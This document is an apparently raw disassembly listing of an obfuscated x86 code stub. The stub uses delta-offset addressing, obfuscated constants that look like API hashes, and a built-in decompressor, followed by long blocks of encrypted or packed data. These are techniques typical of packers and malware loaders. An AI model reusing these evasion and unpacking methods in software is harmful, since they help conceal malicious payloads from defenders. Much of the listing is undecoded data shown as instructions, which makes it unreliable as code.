var_4 = dword ptr -4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_A = dword ptr 12h
arg_10 = dword ptr 18h
arg_18 = dword ptr 20h
; FUNCTION CHUNK AT 005A5BF1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A5C3E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A6514 SIZE 00000009 BYTES
pop esi
jmp short loc_58057D
; ---------------------------------------------------------------------------
align 4
dd 3 dup(0)
dd 0E200h
db 0
; ---------------------------------------------------------------------------
loc_58057D: ; CODE XREF: sub_580566+1j
lea eax, [ebp+6134362h]
mov [ebp+6132CDDh], eax
cmp dword ptr [ebp+61342ABh], 0
jz loc_5806B0
mov byte ptr [ebp+61311E1h], 56h
push 7E75EA7Ah
add dword ptr [esp+0], 55A982BFh
push dword ptr [ebp+613116Dh]
lea eax, [ebp+6133AADh]
call eax
mov [ebp+613429Fh], eax
mov byte ptr [ebp+61311E1h], 56h
push 93D62BC6h
add [esp+8+var_8], 8D28C8Ch
push dword ptr [ebp+613116Dh]
lea eax, [ebp+6133AADh]
call eax
mov [ebp+61342A3h], eax
push 4
push 69FCEB43h
xor [esp+14h+var_14], 69FCFB43h
mov eax, [ebp+61342AFh]
add eax, 1F4h
shl eax, 2
push eax
mov [esp+18h+var_18], eax
push 0
call dword ptr [ebp+61342A3h]
mov [ebp+61342A7h], eax
mov ebx, eax
mov eax, 0FFFFFFFFh
call dword ptr [ebp+6132CDDh]
mov eax, ebx
call dword ptr [ebp+6132CDDh]
jmp loc_5806B0
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+61342ABh], 0
jnz loc_58063A
retn
; ---------------------------------------------------------------------------
loc_58063A: ; CODE XREF: sub_580566+CDj
push edi
mov edi, [ebp+61342A7h]
stosd
add dword ptr [ebp+61342A7h], 4
pop edi
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+61342ABh], 0
jnz loc_580659
retn
; ---------------------------------------------------------------------------
loc_580659: ; CODE XREF: sub_580566+ECj
pusha
sub dword ptr [ebp+61342A7h], 4
loc_580661: ; CODE XREF: sub_580566:loc_5806ABj
mov ebx, [ebp+61342A7h]
cmp dword ptr [ebx-4], 0FFFFFFFFh
jnz loc_58068E
push 67398DC0h
xor [esp+40h+var_40], 67390DC0h
push 0
push dword ptr [ebx]
call dword ptr [ebp+613429Fh]
popa
retn
; ---------------------------------------------------------------------------
jmp loc_5806AB
; ---------------------------------------------------------------------------
loc_58068E: ; CODE XREF: sub_580566+105j
push 0C325126Ch
add [esp+40h+var_40], 3CDB6D94h
push 0
push dword ptr [ebx]
call dword ptr [ebp+613429Fh]
sub dword ptr [ebp+61342A7h], 4
loc_5806AB: ; CODE XREF: sub_580566+123j
jmp loc_580661
; ---------------------------------------------------------------------------
loc_5806B0: ; CODE XREF: sub_580566+2Aj
; sub_580566+C1j
dec eax
jmp loc_580863
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+1Ch+arg_4]
mov edi, [esp+1Ch+arg_8]
cld
mov dl, 80h
loc_5806C2: ; CODE XREF: sub_580566:loc_5806DAj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_5806CD: ; CODE XREF: sub_580566+1F2j
; sub_580566+25Aj ...
add dl, dl
jnz loc_5806DA
mov dl, [esi]
inc esi
adc dl, dl
loc_5806DA: ; CODE XREF: sub_580566+169j
jnb loc_5806C2
add dl, dl
jnz loc_5806ED
mov dl, [esi]
inc esi
adc dl, dl
loc_5806ED: ; CODE XREF: sub_580566+17Cj
jnb loc_58075D
xor eax, eax
add dl, dl
jnz loc_580702
mov dl, [esi]
inc esi
adc dl, dl
loc_580702: ; CODE XREF: sub_580566+191j
jnb loc_580832
add dl, dl
jnz loc_580715
mov dl, [esi]
inc esi
adc dl, dl
loc_580715: ; CODE XREF: sub_580566+1A4j
adc eax, eax
add dl, dl
jnz loc_580724
mov dl, [esi]
inc esi
adc dl, dl
loc_580724: ; CODE XREF: sub_580566+1B3j
adc eax, eax
add dl, dl
jnz loc_580733
mov dl, [esi]
inc esi
adc dl, dl
loc_580733: ; CODE XREF: sub_580566+1C2j
adc eax, eax
add dl, dl
jnz loc_580742
mov dl, [esi]
inc esi
adc dl, dl
loc_580742: ; CODE XREF: sub_580566+1D1j
adc eax, eax
jz loc_580750
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_580750: ; CODE XREF: sub_580566+1DEj
mov [edi], al
inc edi
mov ebx, 2
jmp loc_5806CD
; ---------------------------------------------------------------------------
loc_58075D: ; CODE XREF: sub_580566:loc_5806EDj
mov eax, 1
loc_580762: ; CODE XREF: sub_580566:loc_58077Ej
add dl, dl
jnz loc_58076F
mov dl, [esi]
inc esi
adc dl, dl
loc_58076F: ; CODE XREF: sub_580566+1FEj
adc eax, eax
add dl, dl
jnz loc_58077E
mov dl, [esi]
inc esi
adc dl, dl
loc_58077E: ; CODE XREF: sub_580566+20Dj
jb loc_580762
sub eax, ebx
mov ebx, 1
jnz loc_5807C5
mov ecx, 1
loc_580796: ; CODE XREF: sub_580566:loc_5807B2j
add dl, dl
jnz loc_5807A3
mov dl, [esi]
inc esi
adc dl, dl
loc_5807A3: ; CODE XREF: sub_580566+232j
adc ecx, ecx
add dl, dl
jnz loc_5807B2
mov dl, [esi]
inc esi
adc dl, dl
loc_5807B2: ; CODE XREF: sub_580566+241j
jb loc_580796
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_5806CD
; ---------------------------------------------------------------------------
loc_5807C5: ; CODE XREF: sub_580566+225j
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_5807D3: ; CODE XREF: sub_580566:loc_5807EFj
add dl, dl
jnz loc_5807E0
mov dl, [esi]
inc esi
adc dl, dl
loc_5807E0: ; CODE XREF: sub_580566+26Fj
adc ecx, ecx
add dl, dl
jnz loc_5807EF
mov dl, [esi]
inc esi
adc dl, dl
loc_5807EF: ; CODE XREF: sub_580566+27Ej
jb loc_5807D3
cmp eax, 7D00h
jnb loc_580822
cmp eax, 500h
jb loc_580819
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_5806CD
; ---------------------------------------------------------------------------
loc_580819: ; CODE XREF: sub_580566+29Fj
cmp eax, 7Fh
ja loc_580825
loc_580822: ; CODE XREF: sub_580566+294j
add ecx, 2
loc_580825: ; CODE XREF: sub_580566+2B6j
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_5806CD
; ---------------------------------------------------------------------------
loc_580832: ; CODE XREF: sub_580566:loc_580702j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz loc_580857
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_5806CD
; ---------------------------------------------------------------------------
loc_580857: ; CODE XREF: sub_580566+2D4j
sub edi, [esp+1Ch+arg_8]
mov [esp+1Ch], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_580863: ; CODE XREF: sub_580566+14Bj
mov edx, 929h
jmp loc_581240
; ---------------------------------------------------------------------------
db 0Ch, 5Eh, 0AFh
dd 3DF34623h, 460CB5C3h, 90A7E53Ah, 0ABF95A51h
; ---------------------------------------------------------------------------
loc_580880: ; CODE XREF: sub_580566+31Dj
mov [ebx+5Fh], edx
jnb short loc_580880
sub edi, eax
icebp
call far ptr 7851h:17939481h
scasd
db 2Eh
dec ebp
mov cl, 31h
retf
; ---------------------------------------------------------------------------
db 0A7h, 1Bh, 14h
dd 97B5F469h, 0C4B25514h, 795523EAh, 0FDC634EFh, 919481C8h
dd 0AF7B5E11h, 2EB1572Eh, 1404BDD6h, 8CABE877h, 0AFBC4103h
dd 6E191789h, 0B0D734EBh, 84DA809Ah, 0AF6D4A11h, 2FFE5137h
dd 1A04B3D6h, 63h dup(0)
dd 0AF5E0C00h, 21FF4C2Ah, 141BBDD0h, 84A9FF6Ah, 0EEF15903h
dd 3C4A128Fh, 0BFC622ECh, 889592C8h, 0FD3F5B10h, 21FF4D32h
dd 5D49B5CAh, 8CBFAD74h, 0BDBC4A04h, 794D009Eh, 0DCA969E3h
dd 9C9F98B8h, 0AF335A0Dh, 27FD4D32h, 5D49B6C5h, 91A0AD6Eh
dd 0A3BC551Eh, 6E561E82h, 0BFC267F7h, 9888D48Ch, 0FD7E4B0Dh
dd 27E80333h, 4449A0D1h, 91A1E268h, 0B25510h, 48h dup(0)
dd 0AF5E0C00h, 2BF05124h, 131BB7CFh, 8CB2AD69h, 0A6BC541Eh
dd 7E190086h, 0F1CD22EBh, 938F9B8Eh, 0FA6D1F1Ah, 26F84D29h
dd 5A00F2C3h, 96A9F43Ah, 0B7EF1803h, 715C0794h, 81AE4DA0h
dd 8E9B9184h, 0FA3F131Bh, 29FE4F29h, 4000F2C0h, 8CB4EB3Ah
dd 0ABF1181Ch, 654B1C8Ah, 0B5CD26AEh, 8E9F86C8h, 0FB6D5E0Ah
dd 3DFE5A67h, 4619F2D6h, 82B4EA75h, 161Ch, 61h dup(0)
dd 0E6590C00h, 2BB1462Bh, 411BA0CBh, 87A3F96Ah, 9ABC1650h
dd 3C4A1A8Fh, 0B6CC35FEh, 0DD97959Ah, 0AF6C5E16h, 26F44625h
dd 5A08BF84h, 8FB3FD73h, 0AAF94C10h, 785712C7h, 0A8C22AAEh
dd 0F0F0918Ah, 0FC384B17h, 2EFF4A67h, 511DB1C1h, 9AA4AD7Eh
dd 98BC5951h, 6F4C018Eh, 0F1D128AEh, 9E9B868Bh, 0A17B5A15h
dd 21F97767h, 5D0FF2D7h, 94E6E876h, 0BABB561Eh, 6E5604C7h
dd 0BFC267E5h, 8F959991h, 111Bh, 0E0h dup(0)
dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
dd 2 dup(0)
; ---------------------------------------------------------------------------
loc_581240: ; CODE XREF: sub_580566+302j
jmp loc_584145
; ---------------------------------------------------------------------------
jmp loc_581257
; ---------------------------------------------------------------------------
dw 0C9F0h
dd 0BF15DF0Fh, 17C28017h
db 0ADh, 42h, 0F4h
; ---------------------------------------------------------------------------
loc_581257: ; CODE XREF: sub_580566+CDFj
cld
push 0
push esi
call loc_581263
and [esi-3Dh], bl
loc_581263: ; CODE XREF: sub_580566+CF5p
pop esi
mov [esp-6+arg_4+2], esi
add [esp-6+arg_4+2], 18h
inc esi
push esi
retn
; ---------------------------------------------------------------------------
db 0B2h
dd 63F6E873h, 8589E4B6h, 6131EA5h, 9D8BC08Bh, 61329ADh
dd 1625BD83h, 75000613h, 81BD8309h, 6132Ch, 53501374h
dd 1B8C08Bh, 8D000000h, 15A81F9Dh, 5BD3FF06h, 81BD8358h
dd 6132Ch, 53501174h, 1B8h, 0D09D8D00h, 0FF0615A6h, 0F585BD3h
dd 178Ch, 11840F00h, 0E8000000h, 0Bh, 0C40500F9h, 0BB8F4E7Dh
dd 5BF12583h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 8FC35646h, 0C08BBCC9h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 3FC35646h, 3C57F321h, 80CD7B98h
dd 0BD8340D2h, 61334E5h, 0DA840F00h, 6A000001h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 0F8B4C355h, 0BD8352A6h, 6131D79h, 0AE840F00h, 6A000001h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 0C063C356h, 0F986AF9h, 0E860D9B7h, 6, 126F0364h
dd 95330AE0h, 6132CB9h, 79858B5Bh, 6606131Dh, 29D3C1BBh
dd 1322B995h, 3E80506h, 9D310000h, 61311C9h, 5050DF8Bh
dd 8B310F52h, 89585AD8h, 0DF802404h, 5D858DF7h, 6A06134Fh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 0A214C353h, 0B8E48B0h, 1F9577Ch, 131FDDB5h
dd 0DC8A5006h, 81240489h, 54598C2h, 3B858D15h, 2906134Fh
dd 13199DB5h, 52505006h, 310FD48Ah, 585ADD8Ah, 6A240489h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 0E32FC351h, 34B76823h, 38F0Fh, 0C2800000h
dd 7E9B2h, 34010000h, 30148F41h, 8595FFD8h, 6A061311h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 0B3C0C355h, 89AE426Fh, 92327535h, 68E0Fh
dd 85890000h, 6130595h, 660CC483h, 4E8EEA81h, 9FF38166h
dd 3B858DA8h, 8106134Fh, 0FE9C1DEAh, 0AE95054h, 81000000h
dd 0C7532B07h, 4DA32890h, 24048991h, 38E0Fh, 8B660000h
dd 6A026AD1h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 1FDC350h, 34C1958Bh, 8D290613h
dd 6131385h, 0ED1495FFh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 896175C3h, 130DD995h
dd 6E85C706h, 106134Fh, 80000000h, 66966DEEh, 0E950D98Bh
dd 10h, 90B7E403h, 0F6C7C938h, 0E056D950h, 17C7606Eh, 2D958B96h
dd 8906131Bh, 134F1FB5h, 0BA575306h, 569F8A10h, 0BD835B5Bh
dd 613173Dh, 64850F01h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 9D24C355h
dd 576C929Ah, 0B62DB54Fh, 0F05F883h, 3685h, 0A1950100h
dd 8B06131Bh, 1309659Dh, 0B806h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 3F8968C3h
dd 80E0E82Dh, 83DA8B75h, 1330EDBDh, 840F0006h, 5Fh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0FDC35343h, 5FAF1EB8h
dd 1CA7BA27h, 1965958Bh, 6A600613h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 2309C353h
dd 1314A19Dh, 0ED95FF06h, 0E9061330h, 5, 0FA071AF9h, 83F5619Fh
dd 1310DDBDh, 840F0006h, 7, 0B8h, 60DE8B00h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E8C35242h, 0C32629B4h
dd 8B72EDFFh, 130F5585h, 0BD9D8B06h, 83061322h, 0C78002C0h
dd 178589F2h, 6A06134Fh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 5265C350h, 541CBB66h
dd 5E85Bh, 0A8AB0000h, 5B82C006h, 0B3FF00C6h, 0E185C64Bh
dd 53061311h, 8E9h, 0F69EA300h, 0AE041309h, 798D895Bh
dd 68061314h, 0EA7221DDh, 5E9h, 0F922BC00h, 4813324h, 3F26FB24h
dd 0A1BD8912h, 0FF061308h, 131EE9B5h, 56006A06h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 0DAD586D9h, 8DDEF1F1h, 167C3385h, 50D0FF06h, 0F2C18160h
dd 0F58EE26h, 5A61FFBFh, 0DA98589h, 6A0613h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 2B3EEBC3h
dd 421E3578h, 0FE9C7h, 0E450000h, 5D065FC8h, 9415D25Ch
dd 98594C10h, 0F1BD83EEh, 106132Ch, 136850Fh, 0BB660000h
dd 2361CA0Ch, 13236995h, 71958906h, 0C6061315h, 1311E185h
dd 8D894506h, 6132871h, 4E8h, 6038C200h, 0BE9DAh, 239E0000h
dd 456781F5h, 0C496ECB9h, 525050D4h, 50616060h, 310F615Ah
dd 5ADA8B66h, 24448B58h, 1F43BB04h, 8B3837h, 4489F88Ah
dd 6A580424h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 0CAABC352h, 0E5CB4FEDh, 0FF0884C3h
dd 131EE9B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 8916BF8Eh, 1309B595h, 88C0F06h, 0F000000h
dd 280h, 8DEAB200h, 167C3385h, 9850906h, 8A06130Fh, 6AD0FFF3h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 8AA8C355h, 0B6932555h, 9E9h, 36DDB900h, 711E190h
dd 6AAA3Bh, 14E853h, 0A9260000h, 0B8F568E1h, 19F2AC26h
dd 0BF58317Dh, 6A096F0h, 5AFC2C88h, 6AD0FF5Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 0BCA3C355h, 6052F717h, 1641BD83h, 0F010613h, 9F85h
dd 0C2805200h, 858B5B73h, 6130F55h, 12E9h, 0DE083100h
dd 34493664h, 13020389h, 0F0C5EAD7h, 0E97A4A7Ch, 3Ch, 8C0F60h
dd 9000000h, 1308AD9Dh, 66506106h, 489D88Bh, 6E86024h
dd 99000000h, 0BC8C8CFCh, 5EF88B2Eh, 8B146A61h, 1306F195h
dd 0A995FF06h, 8B06130Dh, 8D0158D9h, 6132CFDh, 0F003880h
dd 0FFFFC985h, 50006AFFh, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 969220Ch, 13230D9Dh, 79958906h
dd 0C606130Dh, 958B0100h, 61313EDh, 819D8B61h, 8306131Eh
dd 13281DBDh, 840F0006h, 0A4h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 80C35040h, 0F9347965h, 0C4B23C76h
dd 0EE8h, 12F6C900h, 57428EC1h, 0D477E055h, 526ED1ADh
dd 5AD1B70Fh, 80FF6A5Ah, 95FF4BDEh, 6130DA9h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0EC35747h, 0A2B3FC0Bh
dd 0FFFFD0E9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 0A99D098Bh, 0E9061321h
dd 10h, 7FE40B16h, 7CC35D77h, 10303C2Fh, 56C01A68h, 281D85C7h
dd 10613h, 0CA800000h, 2385895Eh, 8106134Fh, 1602B0C2h
dd 0BF609039h, 1258F872h, 5061D38Ah, 12E9h, 316D300h, 6C0DCF21h
dd 686B57B8h, 3A81DEEFh, 904BE503h, 0BB59589h, 958B0613h
dd 61307D5h, 0D3816660h, 56AD0B1h, 1FC9B529h, 858D0613h
dd 6134F3Bh, 0A1858960h, 0F06131Bh, 684h, 0B18D8900h, 61061314h
dd 5088B690h, 90D98B66h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 6CC35343h, 0B71BD5E1h, 8166CF91h, 8D9B4BE2h
dd 134F2B85h, 0BD9D8B06h, 50061312h, 7E9h, 1F4D1900h, 116E939Dh
dd 2B240489h, 1313419Dh, 1595FF06h, 8B06131Bh, 1324619Dh
dd 0D88D8D06h, 0B06137Dh, 8D1174C0h, 134F3B85h, 0D1FF5006h
dd 4F598589h, 0AEB0613h, 4F5985C7h, 0FFFF0613h, 958BFFFFh
dd 6130AC5h, 23F19D8Bh, 66610613h, 4B41CB81h, 11E185C6h
dd 8B4D0613h, 1309499Dh, 0AE46806h, 4818854h, 0E16BC424h
dd 68F0F1Bh, 33000000h, 13018D95h, 0E5B5FF06h, 6606131Fh
dd 8D28BCBBh, 167C3385h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 0C34A57C1h, 0F3843C03h
dd 0D0FFFA8Ah, 13E9h, 0C7E66E00h, 21720D4Dh, 0F2D6DA28h
dd 0EA53200Bh, 1BA9B049h, 1558589h, 0B5890613h, 61323FDh
dd 11E185C6h, 66450613h, 0B43CEA81h, 0CAF78868h, 62BB66CAh
dd 2434814Eh, 44B89EE1h, 17398D89h, 0B5FF0613h, 6131EE9h
dd 0E7E5EB81h, 858D4A9Eh, 6167C33h, 0B1858960h, 60061325h
dd 9D095E51h, 6132141h, 0D0FF6161h, 89D0BF0Fh, 131CBD85h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 4CC72FEDh, 8BD28BC6h, 1305DD9Dh, 0D98C6606h
dd 0BE9h, 31E8E400h, 0AEE76D5Dh, 0EEEFB854h, 20C58D29h
dd 0C1F60613h, 90840F04h, 0E9000002h, 0Bh, 833F7FDCh, 6269B089h
dd 0E913018Bh, 115h, 0B58BF78Ah, 61329C5h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0B3C35141h, 0F1FEFCFh
dd 0BD31D78Bh, 6133119h, 1180C681h, 8B0F0000h, 6, 0F419D8Bh
dd 0BD830613h, 61322C1h, 28850F00h, 0E9000000h, 0B6h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EFC35747h, 9EC10299h
dd 83986244h, 840F003Eh, 8Ah, 0B20A98BBh, 6A6001h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 384FC4C3h, 722BE86Eh, 0FBA805Fh, 9D8BD1BFh, 613119Dh
dd 9D2B146Ah, 61300D9h, 34859D29h, 95FF0613h, 6130DA9h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 90C35141h
dd 0F6C7C938h, 0BF0F6150h, 0FF85E9D8h, 13E9FFFFh, 4C000000h
dd 8E7FE56Fh, 797AA610h, 4F3622D3h, 0F4747D1Ah, 6C76E7Ch
dd 1, 0B97606BBh, 23BD8366h, 506134Fh, 159850Fh, 66510000h
dd 8B5ADF8Bh, 131CBDB5h, 699D8B06h, 0B9061317h, 64h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 17C35242h, 4F408BE3h
dd 0E380AA04h, 0E83E806Bh, 69840Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B889FBC3h
dd 0DEE47CCAh, 7E9E868h, 26000000h, 973BF226h, 44E9C8BDh
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 9E1BC353h, 0FA6DAEFEh, 606EE7ADh
dd 6850Fh, 0BD290000h, 6130009h, 8061DD8Ah, 0FC2057Eh
dd 7884h, 89952B00h, 46061310h, 1251BD09h, 0AE80613h, 32000000h
dd 0B15D2D52h, 0B24763E9h, 8D89538Ah, 6130B55h, 0F495A5Bh
dd 0FFFF5885h, 14E8FFh, 87340000h, 6E785ED2h, 0D739E128h
dd 68B08280h, 0F7B282BAh, 9D8B3107h, 61309FDh, 0D78B665Ah
dd 4EE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1704h, 0C3514100h, 6D4BF680h, 6DF28166h, 71B589A8h
dd 6A06130Ah, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 0DBFBC350h, 21958BBBh, 58061300h
dd 16DD8589h, 0BD830613h, 6131E3Dh, 0CB840F00h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 5898C357h, 0CA6533CCh, 51B3AA07h, 2C098D89h
dd 52600613h, 800F57h, 5B000000h, 0E185C65Bh, 54061311h
dd 1399523h, 24680613h, 0B6A993B3h, 24348134h, 56DD0DD0h
dd 0FFD88B66h, 131EE9B5h, 0BA66F906h, 858DCBABh, 6167C33h
dd 399D8B51h, 5B06130Bh, 0E125BA66h, 8B66D0FFh, 80006AD9h
dd 0B5FF54DFh, 6131E3Dh, 0D0FFABB6h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 0B7C35040h, 581F22F2h, 77D0A8BAh
dd 6A6143h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 0C1E610C3h, 85C7D18Ah, 6131D1Dh, 1, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7AC35040h, 9CBBEAB5h
dd 0B509E7FBh, 61319C1h, 60D78B66h, 0E8D7B70Fh, 4, 80h
dd 14E8h, 1D756E00h, 27742650h, 80FCED39h, 9C38CD71h, 1BBE1AC6h
dd 0DBB66C6h, 50505B57h, 0FDE8B52h, 11E931h, 5D20000h
dd 723EA09Eh, 34179374h, 70A0900Fh, 5AD6D79Fh, 24448B58h
dd 8BCBB604h, 0EBBB6600h, 24448959h, 58D88B04h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 4CC35747h, 9D03F25Eh
dd 8BF5B72Fh, 1313F595h, 6AFF6A06h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0EC9BC356h
dd 89B27C78h, 1310CDBDh, 92BB6606h, 995FF64h, 0E806130Dh
dd 6, 16F1B920h, 0E381F6A1h, 1A17E883h, 10E85Bh, 55070000h
dd 3ED3690h, 0F9FF6F86h, 0C5F8A91Fh, 0BB66D1C6h, 615ADDFFh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 7DC35545h
dd 95039876h, 6131A49h, 44B35050h, 2404895Ah, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B4C35646h, 8B66120Bh
dd 0EDBD89DAh, 8B061304h, 1331C185h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 483A247Ah
dd 0AC5083B8h, 8A0FB4F4h, 2, 0C00BF98Ah, 4E840Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 60D135C3h, 18E1B589h, 9D010613h, 6131ABDh, 0F995FF61h
dd 6A061314h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 4100C352h, 13B185C7h, 10613h
dd 958B0000h, 6133145h, 1B7DBD83h, 0F000613h, 4384h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0EBA2B1B4h, 66485A5Bh, 695CDB81h, 148595FFh, 11E90613h
dd 33000000h, 0D5B97C95h, 0FF861363h, 8C7EEA76h, 0BD402976h
dd 30CDBD83h, 0F000613h, 1284h, 91853100h, 0FF06130Bh
dd 1307DD95h, 0BD950306h, 83061305h, 131F81BDh, 840F0006h
dd 5Dh, 0BF2DBA66h, 68C0Fh, 95010000h, 61305BDh, 0A31BD83h
dd 0F000613h, 4085h, 8CB8100h, 0FF709F92h, 13311D95h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 55BD9245h, 6E8603Eh, 0FE000000h, 9256EB8Fh, 0A5B58B50h
dd 5E061313h, 0C1BD8361h
dd 6130Ah, 3C840Fh, 0E9600000h, 12h, 5626025Ch, 4C13B1E7h
dd 62B365D2h, 4826CC7Dh, 81612254h, 130D7D85h, 400306h
dd 0BD958900h, 6606132Eh, 818FEDBAh, 13311585h, 400306h
dd 0E2816600h, 310F5C99h, 0CD8D8DFCh, 0E906135Fh, 13h
dd 38BFD0E3h, 82E380FEh, 0FDAAA401h, 0F392CB96h, 5314B01Eh
dd 0B048D281h, 895B13B8h, 79BD0901h, 0BA061321h, 3AE51072h
dd 4189C233h, 0FF48A04h, 85952331h, 8D061334h, 135FE18Dh
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 4CD19BA1h, 1CD59D89h, 1890613h, 33D08B66h
dd 299D89C2h, 8906130Bh, 6A0441h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0D6B5BEC3h, 5E98B3Bh
dd 0D3000000h, 0C262563Bh, 1309BD83h, 0F000613h, 3884h
dd 0FFDE8A00h, 13317D95h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 3C7D9205h
dd 1B04EE7Eh, 0CD8531E4h, 89061308h, 1324F9B5h, 5BD8306h
dd 106131Dh, 37850Fh, 9D8B0000h, 61305A9h, 1451B589h, 26E90613h
dd 8A000000h, 0F8B58BF9h, 0C7061360h, 6, 0CEB58B00h, 0C706135Eh
dd 6, 0BA66CF00h, 8BF98151h, 1319199Dh, 0B1BD8306h, 61313h
dd 11C840Fh, 95890000h, 6131E05h, 30A9BD83h, 0F010613h
dd 0F885h, 59EBBB00h, 8D8B3369h, 6134F17h, 178A0Fh, 12E90000h
dd 33000000h, 0C11113C4h, 0FBD2D293h, 137FE00Dh, 6B85F622h
dd 1C6C6h, 6800Fh, 958B0000h, 61314BDh, 52006A60h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 9F59AD0Ch, 0BD349D06h, 0D868FF97h, 6000DF38h, 820F51h
dd 5E000000h, 816177B4h, 38582434h, 958B00DFh, 6131CD9h
dd 0F60FF6Ah, 1587h, 10E900h, 3B0B0000h, 219C496Eh, 5FB4A632h
dd 32A65852h, 0B589D365h, 6130C71h, 995FF61h, 0F806130Dh
dd 6840F61h, 8B000000h, 130E699Dh, 0E595FF06h, 6A06132Fh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 41F7C356h, 0FAB024E8h, 178D8B12h, 0F06134Fh
dd 680h, 1DD28100h, 0FE09C93Dh, 0D7B70F01h, 0EB8166h, 75BD8315h
dd 1061320h, 4850Fh, 0BA660000h, 0C08B7604h, 8B0Fh, 0BD830000h
